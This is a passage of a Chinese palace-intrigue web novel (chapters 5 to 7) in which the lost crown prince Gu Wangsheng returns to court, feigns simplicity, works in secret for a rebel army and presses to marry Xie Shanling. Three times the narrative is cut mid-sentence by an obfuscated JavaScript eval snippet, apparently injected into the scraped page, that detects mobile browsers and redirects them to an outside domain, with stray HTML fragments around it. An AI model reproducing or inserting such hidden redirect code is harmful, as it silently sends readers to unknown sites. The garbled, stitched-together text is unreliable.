谢善淩想了又想,瞅着娘亲凝重的脸色,不得不暂且老实。 可是,半个月后,他终究还是得知了消息:那日的骚乱果真与顾望笙有关。 顾望笙……失踪了。 和自己告诉顾望笙真相有关系吗?谢善淩不知道,可他怀疑事实就是如此。 也许……不该说的。如果不说,也许顾望笙仍然在虚幻的希望中好好的……也许一些事情知道了不一定就是好事……也许…… 可是纵然有万般“也许”,顾望笙已经失踪了。 5. 第 5 章 十二年后。御花园湖面凉亭。 菅贵妃年过四十却保养极佳,容貌依旧艳丽逼人。此时她满头珠翠,一身华服,倚坐在栏边喂鱼,看着池中锦鲤争相跳跃争夺。 权宦司马忠良与她年龄相仿,面白无须,此刻站在一旁,眼睛也望着那池子鱼。 宫娥侍卫远远站在岸上。 “南方那伙匪乱迟迟未能镇压,皇上这几日连番动怒。”菅贵妃懒懒道,“你就不能引荐些靠得住的人么?” 司马忠良道:“孙瑛已经尽力。当下匪乱四起,其他的倒都好说,唯独孙瑛对付的那支白龙匪军本就起势最快、实力最强。如今他们未能继续北上,已是孙瑛的本事。” “说这些有什么用?皇上只想看到他们尽歼的好消息。”菅贵妃道。 司马忠良微微皱眉,对皇帝的站着说话不腰疼不满,却没说出来,转而道:“去年冬天没雪,今年夏天大涝,秋季蝗灾,天下大荒,别说南方,东边和西边也都民怨沸腾起来。” 菅贵妃也很烦:“这不还是怪那支所谓的白龙义军吗?别的匪徒作乱也就在一亩三分地上乱,他们倒好,四处串通到处拱火!” 两人正说着,忽然岸上跑来一个小太监,伸长脖子朝这张望。 司马忠良朝他招招手,小太监急忙跑过来,匆匆行了礼,道:“娘娘,干爹,太子……废太子回来了!此刻正在中和殿与陛下相见!” 闻言,菅贵妃与司马忠良脸色皆是一变,对视一眼,菅贵妃将手中剩余的鱼粮随手抛入水中,司马忠良挥手让小太监退下,服侍她起身整理衣裳。 菅贵妃冷声道:“他怎么还活着?还回来了?” 司马忠良很快镇定下来,道:“原本当年他被杀手逼至跳崖便只是下落不明,并未找到尸身。如今说那些无用,不妨娘娘起驾去中和殿一探究竟。 中和殿中,顾望笙正向皇帝讲述自己这些年的经历。 “那时儿臣贪玩,夜里偷溜去禅寺后山,却遭受不明身份之人追杀,仓促间逃到崖边,不慎脚滑落下去,掉到湍急的水中被冲走,所幸冲到下游被一个善心的猎户所救,可惜因此失忆,一直跟着他在山间打猎。他死后儿臣独自生活,直到去年才恢复记忆。” 皇帝一直默默打量着他。 十数年过去,顾望笙已有二十五岁,身材高大,面容俊朗,眉目间有当年皇后的容姿,轮廓却又似皇帝年轻时模样。这令皇帝多少生出些亲情来,但不多。 听到此处,皇帝问道:“去年恢复记忆,为何今年才回来?” 顾望笙面露讪讪,不敢直视皇帝,低声道:“儿臣有罪……当日是儿臣顽皮方才落难,又这么多年才想起来,竟不敢回京。听闻父皇废了儿臣之位,唯恐父皇是不认儿臣了……” 说到这,顾望笙哽咽起来,扯起衣袖擦眼泪,动作很是粗俗。 皇帝叹了声气:“你这说的什么话?回来就好。只不过是你这些年失踪,找也找不到,还以为不在了。你母后与你狠心,接连离朕而去,朕因而深受打击,身子不好,大臣们怕国本动摇,再三进谏,逼着朕废了你的位,从你的兄弟间择选新的太子。” 说着,他充满探究地看着顾望笙,不错过他的任何神色变化:“如今你既然已经回来,朕明日便将此事公告天下,复你的太子之位,如何?” 顾望笙又抹了抹眼泪,却是摇了摇头,拒绝道:“儿臣恐怕已难当大任。” 皇帝轻轻地“哦?”了一声。 顾望笙一副老实本分的模样呐呐道:“这些年儿臣随猎户生活在乡野间,只知如何狩猎糊口,书都没读,如今只依稀记得小时候的事,一点德行都没有,如何服众?即便父皇厚爱复儿臣太子之位,儿臣也当不来……简直是愧不敢当!还望父皇恕罪!” 说着便惶恐地跪趴到了地上,像个没见识的小民一样磕起头来。 皇帝不料他竟这么有自知之明,倒省了自己的事儿,心中十分高兴,连带着父子亲情都又多了几分。 毕竟皇帝确实不想复他位。 这些年皇帝宠幸菅贵妃,子凭母贵,连带着也宠爱菅贵妃生的三皇子,属意此子继承宝座。 只不过朝中总有些不平之声。 其余皇子也就罢了,年纪尚小,不成气候,唯独四皇子过了弱冠之年,他乃贤妃所出,亲舅舅是大将军,自己亦有本事,偏偏老三还不成器,因而皇帝迟迟未能定下。 皇帝为第三子谋深远,一直攒着好差事给他镀金,届时立他便自有说法,谁料八字刚一撇出去,失踪多年的顾望笙这时候回来了。 顾望笙拿着先皇后的玉佩,更是长得活脱脱先皇后与皇帝结合的模样,现身前先去了蔺将军府与德高望重的宗亲寿王府,事到如今,皇帝想不认都不行。 三、四皇子夺储一事原本激烈,可既嫡又长的顾望笙这一回来,那二人便争无可争。皇帝不得不因此动了些许杀意。 却不料,顾望笙竟没有不自量力。既然如此,也许能留他一命,毕竟也是自己的血脉,如国师所说,于后世名声、福缘阴德总是不好的。 顾望笙好似担忧地小心翼翼抬头看一眼皇帝,立刻又不胜惶恐似的趴回去,垂眸掩去晦暗杀意,颤声道:“唯有一事儿臣想请父皇应允。” 皇帝原本正在高兴,闻言警觉,笑意淡了几分:“哦?你先说来听听。” 顾望笙仰头看他,有些羞涩局促道:“儿臣已经二十五岁,这些年贫苦,还未娶亲……” 皇帝还以为什么事儿呢,以为他要当王爷要封地或是要官职权力,不料是这么个事儿,一时怔了怔,随即有些无语,又有些好气好笑,只道这人当了十几年的猎户,真成了个胸无大志的乡野粗汉!真是枉费自己的血脉。 不过如此最好不过。 皇帝露出慈爱的模样:“这事急不得,你虽不是太子,却也是朕的大皇子,朕定要为你好好儿择选名门贵女。你若……朕先赐你十个貌美女婢用着!” 顾望笙却摇了摇头,反问:“父皇难道忘了儿臣当年已有婚约?” 皇帝还真忘了,但转瞬就想起来,嘴角不由微微一抽。 他斟酌着慢慢道:“关于此事,朕须得和你说……与你定亲那谢家的孩子,他……其实是男儿身。当年他生而魂轻,须与你定亲才行。他祖父是朕的太师,与朕师徒情深,他爹又是为国捐躯,朕不忍心便答应了。待他前些年十八,朕已做主解了这桩婚事。” 顾望笙顿时露出惊讶且大受打击的神色,一把捂住胸膛,伤心难过地瞪着皇帝。 皇帝不好在此刻斥责他失敬,只能叹着气安抚:“你刚回来,先别想那些,去好好休息,朕必然给你找个温婉美丽的妻子弥补你。” 顾望笙发了一会儿呆,这才缓缓放下手,顺从地问:“儿臣去哪儿休息?” 皇帝一顿,想起他确实没地方去。都这么大岁数了,住宫里不合适,总不能让他回圣林禅寺去……去他舅舅家吧,又怕他们伺机勾结。 “稍后朕会赐你府邸,如今你先去官家驿馆委屈下,或者去京城外的皇家庄园,那里宽敞些舒适些。”皇帝道。 顾望笙想了想,道:“儿臣刚回京,不想与父皇再分离,也怕父皇有事召见儿臣路上耽误时候,便还是住在官家驿馆吧。” 皇帝见他懂事,欣慰地摆摆手:“随你去吧,好好休息,回头再说。” 顾望笙退出去后,皇帝脸上的慈爱很快散去,面无表情地叫来一个太监:“去请国师。” 太监应了一声,随即道:“启禀陛下,贵妃娘娘一直在殿外求见。” 若是平日里皇帝必然乐见爱妃,可如今他心系于其他事上,虽然让了贵妃进来,却心不在焉,敷衍了一阵听闻国师来了,急忙打发她出去。 菅贵妃原本也无意与皇帝周旋,只是来确认顾望笙是否真的回来了。 刚刚她等在殿外时就见着了离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725270|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去的顾望笙,顾望笙还客客气气地对她自报家门问了好,她还伪装慈爱慰问寒暄了几句。 此刻被皇帝下逐客令,菅贵妃便麻溜地走了,她还得赶紧去和司马忠良会合商量这个意外怎么办,她儿子眼看就要当上太子了,可不能被顾望笙抢回去。 闲杂人等都出去了,皇帝急切地拉住国师将顾望笙回来的事说了一遍,问他顾望笙身上的强龙之命如何了。 国师掐算了一阵,缓缓道:“先太子身上的强龙之命替他挡了当年那一劫,又因多年的贫苦生活而消磨殆尽,陛下日后可与他父子团圆,享天伦之乐了。” 皇帝闻言松了一口气。天伦之乐他不在乎,顾望笙都这么大岁数了,他不如和这些年生的年岁尚小的孩子们享天伦之乐。 只是强龙之命解了,到底是了了一桩心事。 皇帝心情轻松许多,笑着对国师道:“难得今日一请你就来了,这几年总说闭关……身子好些了吗?让太医再瞧瞧。” 前几年国师没来由地大病一场,太医院倾巢出动也都无计可施。 国师如同死去一般,却又还有气息,靠灌药水吊着在床上僵挺了一年,终于自个儿幽幽醒来,从此越发地深居简出,三不五时就说闭关静修。 国师摇摇头,谢过皇帝关怀,随即便说身子不适,不能久待。 离开中和殿后,国师面色一如往昔平静,缓缓沿着宫墙离开,心中却波涛涌动。 太子……废太子,顾望笙。 他的强龙之命非但没有消尽,反倒历经磨砺越发坚韧。而这些年皇帝骄奢淫逸,致使民不聊生,强龙之气只剩少少微弱。 离开宫门前,国师略停了下脚步,仰头望向天上惨惨的日头。 悬空之日时至如今也是该换了。 * 皇帝让太监带上自己的口谕护送顾望笙去了京中官驿,上下无不盛情接待。 顾望笙一点没架子,简单用过餐后只说奔波劳累,打桶热水洗了澡便去客房睡觉。 关上门后,顾望笙躺在床上却久久未能入眠。 他听着外头的声音渐渐安静,光也渐渐暗了,入夜了。 此番回京他有很重要的目的,否则真不愿意回来与老不死的虚与委蛇,直接领着起义军打就是了! 可若不能说服“那人”回心转意,起义军耗打下去,必定劳民伤财,死伤惨重,是他不愿见到的。 孙瑛确实有些本事,可惜明珠暗投,死脑筋,非得效力于这已经腐朽不堪的大梁王朝。 “那人”化名临江仙,身处京城,两年前忽然联系上起义军,暗中输送了许多机密情报,里应外合助义军连连得胜,势如破竹。 可惜后来发生了一件事情—— 义军中的一员有功老将酒后发性,错手杀了两个平头百姓。 老将醒后追悔莫及,向死者及其家属再三叩首忏悔,亦是作出了许多补偿,还领受了军棍责打。 其实那俩百姓的家人已经原谅了他。 可临江仙不知怎么得知此事,来书非要依律处置,让老将以命相偿。 义军头领、亦是顾望笙的好友亲自拟书回复,陈明利害:老将在义军起初便主动率领三百好汉加入,虽他平日张狂,却着实是性情中人,为人爽快,在军中颇得人心。何况,他素日对待百姓亦是亲近,那日确实只因大胜一役而高兴喝多了,事后立刻自断一指发誓终身戒酒。军中许多人为他求情,就连受害者的家人亦主动说不再追究…… 临江仙又何必如此苛刻呢? 临江仙收到这封信后没回复任何,从此与义军断了联系。 顾望笙此次回京,除了摸清京城、朝野内外的情况,伺机窥取一些情报,最要紧的便是找到临江仙,说服他重新为义军出谋划策。 关于临江仙的真实身份,他已有所猜测。 想到那个人,顾望笙的眼神幽深,不自觉地咬紧了后槽牙,攥紧了拳头。 6. 第 6 章 皇帝没急着公布顾望笙归来的消息,他静静观察了驿馆中的顾望笙两日。 消息不可能全然不外泄,可确实没人去找顾望笙,包括顾望笙的母族蔺家。而顾望笙本人亦是乖巧老实,哪都没去,在驿馆里待着。 两日后,皇帝才将此事在朝会上正经说了出来,还叫人引顾望笙进了殿。 顾望笙今日穿着华贵,立在阶下,竟颇有气势。 朝下众人早有耳闻,此时却只作出刚刚知道的样子,先是讶异哗然,随即齐声贺喜。 清流里有些人终于按捺不住,趁此机会提起太子复位一事,皇帝不慌不忙,示意顾望笙亲自来说。 顾望笙转过身看着那人,客客气气地鞠躬行礼,然后将之前在中和殿中推却的话又说了一遍。 这下子众人是真心讶异哗然了。 皇帝并不恼怒,等着他们平复下来,这才开口:“朕与皇后少年夫妻,鹣鲽情深,帧儿是我们唯一的嫡子,朕亦有意复他之位,可惜他志不在此,朕亦是深感遗憾。皇后早逝,唯此一子还遭受这么多苦命磨难,朕于心不忍,只望他能从此快乐自在地活着……” 众人:“……”这谁信。 然而废太子都那么说了,况且他乍然回京,他母族这些年势力渐微,亲舅舅蔺大将军投向了参与夺嫡的四皇子,其中关系微妙,废太子没有依仗优势,此事暂且只能作罢。 见那些清流无话可说,皇帝越发高兴,散朝时特意叫顾望笙陪自己一同走以示宠爱,做足了表面功夫。 顾望笙陪皇帝走到御花园中散步,说了些不痛不痒的话,他忽然面露迟疑难过,停下脚步道:“父皇,儿臣……儿臣……” 皇帝很满意他今日在朝会上的表现,慈爱道:“有话就说,这儿又没外人。” 顾望笙扑通一声跪下,道:“父皇,儿臣这两日反复思量,还是想和谢善淩成亲!” 皇帝:“……” 但凡顾望笙说想来想去还是想当太子,皇帝都能理解。谁料这小子想来想去想两天了还在想跟谢家那男娃儿成亲的事儿!男子汉大丈夫,这……简直没出息! 皇帝又是嫌弃又是放心,心情复杂,过了会儿才说:“你怎么还在想这事儿?朕不都跟你说清楚了吗?” 顾望笙情深意切道:“婚约大事,既是在佛祖面前见证过,更是进过祖宗太庙禀告的,又岂能轻易解除?即便他是男儿,儿臣……也认了!” 皇帝嘴角微微抽搐了两下,使个眼色示意跟随的人都散去,然后亲自上前虚扶起顾望笙,示意他和自己坐到圆石桌旁。 入座后,皇帝沉吟片刻,缓缓道:“谢善淩此子……其实,身为男子都不是他身上最大的缺点。” 皇帝看谢善淩不顺眼很久了,此刻似是终于找到了宣泄口,用力道:“此子性情极为乖僻!” “还未出仕时他便折腾出不小的事来……这个暂且不说,就说他出仕。以他家世明明可以荫职上任,他非要参加恩科,倒确有才学连中三元,朕看在老太师的面子上钦点了他为金科状元,也是望他能从此稳重,光耀太师家门楣。却不料他并不感念圣恩,出仕后依旧是成日的惹是生非!” 皇帝的眉头紧紧拧起,至今说起来还很恼火,“不该他管的事儿他到处管,得罪了许多人,参他的奏折跟雪花片儿似的往朕案桌上飞,全靠朕念在他身世的情面上为他化解,却不料朕都忍了他了,他倒还忍不下去,当着众目睽睽之下火烧官服辞官不干,你说他这、这……” 皇帝越说越气,一时不知该怎么说什么才好。顾望笙见状忙大声斥责:“狂妄!” “狂妄至极!”皇帝强调。 顾望笙忙应声附和:“狂妄至极!” 皇帝长叹一口气,略缓了缓,道:“所以啊,帧儿,你还是别惦记这门亲事了。即便你有龙阳之癖,也去癖个性情好些的,别沾那小子!他邪性!” 谁料顾望笙沉默数秒,道:“父皇,儿臣不在乎。” “……”皇帝看着他提醒道,“你刚还说他狂妄至极。” 顾望笙老实巴交:“既已定过亲,虽他狂妄,儿臣也只好认了。想来成家后自会稳重许多,那也算是一件好事。” 你当成亲是重新投胎呢?和你成个亲就能稳重?啊? 皇帝满腹牢骚却没说出来,盯着顾望笙看了一阵,见他满脸认真,不解道:“你怎么这么一根筋呢?随了谁啊你这是?” 顾望笙无辜道:“儿臣斗胆说,恐怕是随了父皇。自母后走后多年,父皇再未立后,岂不也是记挂着年少婚约便是一生一世永无悔改?” 屁话!朕哪是为这!可这话皇帝又怎么能说出口呢?他只能轻咳两声,道:“那些也都罢了……”忽的压低了声音,“他曾与豲戎王子私奔,你也不在乎?” 顾望笙显然愣住,看着皇帝,眼睛渐渐瞪大,不可置信之中更多的是恼怒。 皇帝得意起来:“朕就说了……” 话未说完,顾望笙咬牙切齿道:“不、在、乎……” 都这样了还不在乎呢?皇帝叹道:“你这又是何必。” 顾望笙愤恨道:“待他嫁给儿臣之后,儿臣自会好好管教!” 皇帝见他如此执念深厚,只得下猛药:“他差点成你四弟妹你也不在乎?” 顾望笙眉头都要打结了,几乎破声:“这又是怎么回事?!” “唉,你四弟与他青梅竹马,险些便走岔了道。好在你四弟他母妃,也是你的小姨及时发现,将你四弟打个半死,还发狠要连谢善淩一起打,这才将两人拆散。”皇帝幽幽道,“不过朕偶尔见过一次你四弟瞅那谢善淩的眼神,实在算不得回头是岸……” 顾望笙:“……” 综上所述,皇帝觉得自己厌恶谢善淩实在是合情合理,反倒自己还容忍谢善淩好好地活在这世上是一件不可思议之事。 父子二人相互对着陷入迷一样的静默之中,忽的娇媚女子声传过来:“臣妾拜见陛下。” 皇帝回过神来,转头看去,笑着道:“爱妃来了。” 菅贵妃聘聘婷婷地走过来,含笑与匆忙起身行礼的顾望笙问了声好,随即道:“难得父子重逢相聚,臣妾不会打扰到了吧?” 皇帝拉她坐到身旁:“他母亲走得早,你便相当于他继母。” 顾望笙心中冷笑,面上不显分毫,忽的跪在地上道:“贵妃娘娘也请帮儿臣向父皇说和说和吧!” 菅贵妃一怔,忙道:“这是做什么?皇上,这是怎么了?大皇子快起来!” 皇帝有些烦了,道:“就让他跪着吧,他猪油蒙了心!” 想了想,越想越气,皇帝便将顾望笙发疯非要履行那桩明明已经解除的婚约、迎娶那个荒诞不羁的谢善淩的事说了出来。 菅贵妃听完,心中却立刻活跃起来,眼都亮了。 今日顾望笙在朝会上拒绝复位的消息她听了,却仍不放心。毕竟顾望笙只是那么一说,万一他只是以退为进,又或者有朝他改变了主意,岂不又成了一个强有力的对手? 可是,若顾望笙娶了谢善淩这男妻,可真是再也回不了头了。 日后顾望笙若想登大宝之座,就凭他娶个男妻,其他人也就不会同意了;而若他届时要休了男妻另娶女妻,谢家又怎么会忍得下这口气?谢家虽无实权,谢老爷子却是文坛领袖,天下清流读书人的心之所向。 菅贵妃当即下定决心,看向皇帝道:“皇上别动气,大皇子这是重情重义重诺的体现呢。” 皇帝撇嘴:“不就是一根筋?” 菅贵妃笑起来:“有如此忠义的儿子,是皇上的大喜。” 忠义不忠义,皇帝不在乎,只不过被菅贵妃这么一劝,他从对谢善淩的厌恶中走出来细细一想,反应过来了。 也对,顾望笙非要娶谢善淩对自己而言不算坏事,自己怎么还真替顾望笙打算起来了?莫非还真想给他娶个高门贵户的女儿,给自己留下隐患吗?慈父心肠生得不是时候。 正当皇帝如此思忖之时,顾望笙趴在地上开始痛哭流涕:“儿臣自幼失了母后,父皇为儿臣着想,忍痛将儿臣送去圣林禅寺长大,后来儿臣又流落民间,颠沛流离,一生亲缘福薄,只想早日成家……” 皇帝:“……” 果真是个烂泥扶不上墙的玩意儿。挺好。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725271|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 皇帝懒得管他了,挥挥手:“好好好,随你吧随你吧!” * 谢府前厅。 谢家二叔如今在兵部任职侍郎,今早的朝会自然出席,知道顾望笙已被皇帝认了回来。 但他原先是没多在意的。谢家在夺嫡之争中谁也没站,谁也不打算站。看在皇帝对谢老太师的恩厚上,各派也都不敢逼迫谢家站位。而多年前谢善淩与顾望笙的婚约本就是儿戏,已经解了,如今顾望笙回来也不关谢家什么事。 然而令他没想到的是,傍晚他就在家门口和登门拜访的顾望笙遇上了。 谢二伯的第一反应是顾望笙要来拉拢谢家参与夺嫡,顿时防备起来,但面上依旧笑着恭敬地行了礼。 顾望笙一副比他更加恭敬的模样,双手急忙来扶他:“二伯不要如此多礼!” 谢二伯动作一顿,察觉不对,抬眼看他,默默往后退了一小步,看了看顾望笙两手上提着的礼,暗示道:“下官就不耽误大皇子殿下的要紧事了……” 顾望笙上前一步热情洋溢:“二伯不要叫这么疏远,叫我正行即可,裕帧或望笙也都行。” 行屁行!谢二伯再度后退,连连道:“下官担当不起,担当不起……” 顾望笙再度前进:“二伯,我今日冒昧前来,是特意来拜访府上长辈,不为公事只为私事,二伯不要如此生疏。” 谢二伯回头一看自己已经贴到了墙角,退无可退只能勇敢面对:“殿下所为何事?” 顾望笙忽的沉默,于沉默中却又腼腆笑起来,随后才缓缓说出:“商议婚事。” 谢二伯:“……”老子就该是个哑巴。没事儿问屁问! 那事不宜在大门口多说,省得丢脸。谢二伯急忙将顾望笙请入府中,请他先坐下饮茶,自己则急忙去后院找老大。 不多久,谢二伯就带着谢大伯匆匆过来。顾望笙本在淡定品茗,听闻动静忙将茶盏放下,起身向谢大伯问好。 “好、好……”谢大伯讪讪道。 顾望笙关切道:“不知岳祖父他老人家可在府上?我贸然失踪多年,如今归来,理应一一拜会。” 谢大伯刚从弟弟那听到顾望笙的来意,兄弟两个原本商议是先装傻充愣一番,却不料顾望笙压根不给他们机会,这一声直截了当的“岳祖父”把谢大伯给惊得天灵盖都要飞了,打了他个措手不及。 “不不不不,大皇子殿下,这这这……那门婚事……皇上还没和您说吗?” 顾望笙一顿,道:“说是说了……” 谢大伯忙道:“这就是了!当年之事,多亏殿下,善淩方才平安成长,谢家对殿下感恩戴德。只是那婚事着实也是事起有因,既已经解除……” 顾望笙猛地打断他的话,正色道:“大伯,婚姻大事,岂可如此儿戏?!” 谢大伯被吓一跳,看着他,不敢言语。 谢二伯轻咳一声:“大皇子殿下,那件事着实是谢府对您不住,您若对谢府有所埋怨,咱们只能受着。可善淩他实实在在是男孩儿,您……” 顾望笙满脸认真道:“结下男妻实属意外,我也倍感惊诧,然而冥冥之中自有缘法,缘分既让我与善淩自幼结下婚约,婚姻大事,两姓结好,上秉祖宗天地,就得善自对待。” “可是……” 顾望笙打断谢二伯未说出口的话,越发真挚道:“我当年因意外掉落山崖失忆,因而如今才回。若善淩已经成家,我也就罢了,说明我与他实无正缘。然而我听父皇说善淩至今二十二了还未成家,想必是在等着我!” “啊?这、这倒并不是……”谢大伯呐呐之语还未说完,再度被顾望笙打断。 “当年结亲之时,并未有人告诉我真相。”顾望笙神色忧郁起来,垂眸低声,“我那时年幼,尚且天真,满心赤诚,一直将善淩当做我未过门的妻子,心意深许,年年写信送礼,连我母后的玉佩都赠与他了。” 谢大伯嗫嚅道:“啊……那、那让他找找还给您……” 顾望笙抬眼看他,满脸失望与受伤,一字一顿道:“玉佩易还,情、难、还!” 谢大伯与谢二伯:“……” 7. 第 7 章 说来说去,此事确是谢府理亏,一旦顾望笙不肯松口,谢大伯与谢二伯也不知道该如何是好。 一时僵在那。 僵持片刻后,顾望笙忽的道:“自然,此等大事也不是说成就能成。我今日也只是先来府上拜会,不失礼节。复亲之事必是日后议定了再郑重行之。” 能拖一时是一时吧…… 谢大伯谢二伯生怕顾望笙现在就当场要人,见他主动让步,急忙点头称是,准备等他走了赶紧召集全家商议对策。 两人急忙起身送客:“殿下有空常来走动。” 暗示他现在赶紧走! 顾望笙却不慌不忙道:“还未拜会岳祖父谢老太师呢。” 谢二伯正要说话,谢大伯暗中拉他一把,开口道:“父亲他老人家——” 正要编谎说不在家,顾望笙打断他的话道:“其实也是父皇的意思,他不便出宫,让我今日一并代他探望老太师,明日入宫告诉他老太师的近况,他也好放心。” “……” 搬出皇帝了,谢大伯不敢再糊弄,怕犯欺君之罪。 他只好咬牙道:“父亲在院中歇息,这就让下人去通报,殿下随我来……” 顾望笙去到谢老太师的院中。 谢老太师近年身子还算好,就是整日懒懒地躺着,精神头好一阵不好一阵,原本他今日早早歇着了,听到通报忙让丫鬟搀扶自己起身梳发整衣迎出房外。 顾望笙见着谢老太师,当即将衣摆一掀跪地磕头,声如洪钟:“岳祖父岳祖母在上,请受孙婿请安!” 谢老太师与谢老夫人齐齐被他这阵仗惊住,半晌没反应过来。 怎么就孙婿了!怎么就孙婿了!谢大简直没眼看,急得直要跳脚,被谢二急忙摁住,低声示意他先镇定! 半晌,谢老太师回过神来,忙叫顾望笙起身,仔细上下打量一番,握着顾望笙的手很是欣慰:“好好好,这些年我们还以为……还好好的就好!” 站在门口说话总是不好的,谢老太师精神都好了许多,招呼着让人备茶果饭菜招待顾望笙,顾望笙却只道有话想单独与老太师说。 老太师点点头,被他搀扶着去了一旁的书房。其他人在外头面面相觑,都不知该如何是好。 直到日落月升,顾望笙从书房出来,朝等在外头的谢大谢二道:“时候不早,不叨扰了。岳祖父说有事请大伯二伯去书房相说。” 谢大客气客气:“殿下留下用餐吧,都叫下人备好了。” “多谢大伯美意,今日便不留了,大伯先去与岳祖父相商吧。” 顾望笙笑笑,脸上神情颇为轻松,这令谢大谢二倒是提起心来。父亲这两年时不时犯老糊涂,可别这会儿又犯…… 两人恭敬地送走顾望笙,去到书房没多久就绝望地发现父亲委实是又开始犯老糊涂了…… 谢老太师见他二人进来,一脸严肃:“大皇子刚刚说了许多话,死缠烂打,真是令人头疼。” 唉,谁说不是呢。谢大谢二见父亲直说了,眼下没外人,便都附和:“是啊,也不知他怎么回事……” 谢太师接着说道:“事情总要解决,既然如此就让他们成亲算了,讨个清静。” 谢大谢二:“……”清静是这么讨的吗?! 谢老太师长叹一口气:“当年之事是我们不对,如今他一根筋,铁了心要与善淩成亲,也是善淩该他的。若没他,善淩当年又该如何呢?” 谢大也叹气:“话虽如此,从别处补偿他也好,怎能拿此事……” 谢老太师摆摆手:“就这样吧。” “不能这样啊爹。”谢大苦口婆心,“善淩他……他如今在清风观修行啊!” 谢老太师一怔,随即道:“修行好啊,好好好,修行好。人都该去修行,修身齐家治国平天下,读书人自该如此。” 谢大道:“所以这亲结不成。” 谢老太师面露疑惑:“为何?” “……他在清风观修行啊爹。”谢大说。 谢老太师:“啊?他怎么去了清风观啊?那不是道馆吗?” “……” 眼看谢老太师这是老糊涂又发作了,谢大无力地挥挥手示意老二说。他扛不住了。 老二上前对爹道:“爹,善淩在清风观修行。” 谢老太师不悦:“二郎,你这是什么语气?你对善淩去清风观修行有什么意见吗?” 谢二:“啊?” 谢老太师紧皱眉头:“俗人不知天命!善淩不像你们,一个个只往权力世俗的眼里钻,他这孩子打从生下来我就最疼爱他,知他不是你们这些俗物!” “啊对对对我们都是俗物……”谢二深呼吸道,“爹,不是俗物的善淩在修行就不能和大皇子成亲!” 谢老太师这才恍然大悟,道:“那赶紧让他别修了,叫他回来成亲!” 谢二叹气:“要能叫回来早叫回来了,这不他不听嘛。当初我们要将他绑回来您老又不让。” 谢老太师忙道:“善淩修行得好好的,你们干嘛绑他回来?” 谢大往身后椅子上一瘫,两眼放空。 谢二两手一摊:“这不没绑嘛。” 谢老太师:“那你们刚又说要去绑他。” 谢二无奈道:“爹,没人说要去绑他。可是您若要他和大皇子成亲,我们就只好绑他回来了。” 老太师大怒:“他修行得好好的,你们干嘛逼他成亲?” 谢二也要熬不下去了:“不是您说要他和大皇子成亲的吗?!” 老太师沉默下来,想了又想,想起来了:“是有这么回事儿。那你们好好准备一下,让他俩早日完婚。婚约大事,既然定下了,大皇子又当了真,那就成全这段缘分吧。” “……” 谢二也累了,走到谢大身旁的椅子坐下,也瘫了。 谢大已经休息好了,重整旗鼓转向父亲道:“父亲,善淩在清风观修行,清风观的道士不能成亲。” 谢老太师用一种莫名的眼神看他,许久问道:“那你们给他安排这门亲事作甚?” 谢大:“……” 半晌,他正要言语,谢二拉住他,平静道:“算了大哥,太晚了,叫人进来扶爹去歇着吧。” 说着,他便起身去门口叫人了。 丫鬟很快进来扶起谢老太师出去,谢老太师走到门口不放心地回头叮嘱并排瘫坐的两个儿子:“亲事你们好好准备啊,别怠慢了大皇子,他是救了善淩的恩人,咱们得感恩,不能过河拆桥。” 谢二有气无力道:“好的好的,知道了爹,快去歇着吧爹。” 糊涂爹出去后,谢大扭头看他:“真嫁啊?三弟就这一个孩子……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725272|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢二沉默一阵,道:“爹说得也没错,确实是那桩婚约救了善淩,否则当年说不定就……若大皇子不计较也就罢了,他非要计较,我们总不能真就过河拆桥,岂不为天下人耻笑?” 谢大坐直了身体,担忧道:“可是善淩能答应吗?他这些年主意大得谁都管不住。” 谢二忽的狡黠一笑,道:“那就是大殿下与他的事了。若大殿下压制不过善淩,这门婚事自然不成。若他压得成,说不定不是坏事儿,总算有人能治理住这小子了。” 谢大细思点头:“倒也是这个理。” 可他还没来得及高兴,想起另一件事,欲言又止,起身去门口警觉地张望一阵,见外头没人,这才回来弯腰朝谢二凑近低声道:“你还记得善淩身上那个命格之说吗?就当年他出生时那个老道士……” 谢二神情一凛,抬眼对上他的视线。 两人是双生子,本就心意相通,何况话已经说得很露骨了。 谢善淩背负真凰命格,按那老道士的批言,谁若娶了他便能登上那个位子……若是寻常人,这句话多少像是无稽之谈,可偏偏是废太子顾望笙。 谢大喃喃道:“莫非真是冥冥之中自有缘定?” 谢二垂眸思索一阵,道:“若当真如此,恐怕凭我们也无力阻止。” 兄弟二人再度对上目光,没再言语,唯有夜风穿堂而过,令人心中隐隐颤栗。 * 清风观在半山腰上,但整片山都是清风观的。谢善淩住在其中清静峰的次峰顶上。 此处地方不大,靠山背林子处建了一个木屋,木屋前不到二十步是断崖,远处云雾缭绕,冷风阵阵,仙境一般脱俗。崖边有一个石方桌,桌面刻着象戏棋盘,摆着棋子,是一副残局。 